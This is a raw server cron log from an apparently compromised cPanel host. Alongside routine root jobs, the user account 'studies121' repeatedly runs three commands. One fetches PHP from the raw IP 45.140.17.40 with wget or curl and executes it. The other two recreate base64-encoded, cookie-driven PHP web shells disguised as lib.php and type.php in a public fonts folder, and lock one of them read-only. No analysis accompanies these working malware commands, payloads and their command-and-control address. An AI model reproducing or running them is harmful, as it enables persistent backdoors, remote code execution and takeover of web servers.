Aug 31 04:12:01 ip-184-168-122-23 CROND[26025]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:12:01 ip-184-168-122-23 CROND[26028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:12:01 ip-184-168-122-23 CROND[26027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:12:01 ip-184-168-122-23 CROND[26029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:12:01 ip-184-168-122-23 CROND[26030]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:13:01 ip-184-168-122-23 CROND[26139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:13:01 ip-184-168-122-23 CROND[26140]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:13:01 ip-184-168-122-23 CROND[26143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:13:01 ip-184-168-122-23 CROND[26144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:14:01 ip-184-168-122-23 CROND[26276]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:14:01 ip-184-168-122-23 CROND[26278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:14:01 ip-184-168-122-23 CROND[26279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:14:01 ip-184-168-122-23 CROND[26280]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:14:01 ip-184-168-122-23 CROND[26283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:15:01 ip-184-168-122-23 CROND[26391]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 31 04:15:01 ip-184-168-122-23 CROND[26392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:15:01 ip-184-168-122-23 CROND[26393]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 04:15:01 ip-184-168-122-23 CROND[26396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:15:01 ip-184-168-122-23 CROND[26395]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 04:15:01 ip-184-168-122-23 CROND[26398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:15:01 ip-184-168-122-23 CROND[26397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:16:01 ip-184-168-122-23 CROND[26597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:16:02 ip-184-168-122-23 CROND[26598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:16:02 ip-184-168-122-23 CROND[26599]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:16:02 ip-184-168-122-23 CROND[26602]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 04:16:02 ip-184-168-122-23 CROND[26603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:16:02 ip-184-168-122-23 CROND[26607]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:17:01 ip-184-168-122-23 CROND[26741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:17:01 ip-184-168-122-23 CROND[26738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:17:01 ip-184-168-122-23 CROND[26739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:17:01 ip-184-168-122-23 CROND[26740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:18:01 ip-184-168-122-23 CROND[26847]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:18:01 ip-184-168-122-23 CROND[26850]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:18:01 ip-184-168-122-23 CROND[26849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:18:01 ip-184-168-122-23 CROND[26851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:18:01 ip-184-168-122-23 CROND[26854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:19:01 ip-184-168-122-23 CROND[27252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:19:01 ip-184-168-122-23 CROND[27253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:19:01 ip-184-168-122-23 CROND[27255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:19:01 ip-184-168-122-23 CROND[27254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:20:01 ip-184-168-122-23 CROND[27346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:20:01 ip-184-168-122-23 CROND[27347]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:20:01 ip-184-168-122-23 CROND[27348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:20:01 ip-184-168-122-23 CROND[27351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:20:01 ip-184-168-122-23 CROND[27352]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 04:20:01 ip-184-168-122-23 CROND[27355]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 04:20:01 ip-184-168-122-23 CROND[27357]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 04:20:01 ip-184-168-122-23 CROND[27358]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 04:20:01 ip-184-168-122-23 CROND[27359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:21:01 ip-184-168-122-23 CROND[27582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:21:02 ip-184-168-122-23 CROND[27584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:21:02 ip-184-168-122-23 CROND[27585]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:21:02 ip-184-168-122-23 CROND[27586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:22:01 ip-184-168-122-23 CROND[27699]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:22:01 ip-184-168-122-23 CROND[27703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:22:01 ip-184-168-122-23 CROND[27702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:22:01 ip-184-168-122-23 CROND[27704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:22:01 ip-184-168-122-23 CROND[27701]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:23:01 ip-184-168-122-23 CROND[27811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:23:01 ip-184-168-122-23 CROND[27812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:23:01 ip-184-168-122-23 CROND[27813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:23:01 ip-184-168-122-23 CROND[27815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:24:01 ip-184-168-122-23 CROND[27952]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:24:01 ip-184-168-122-23 CROND[27954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
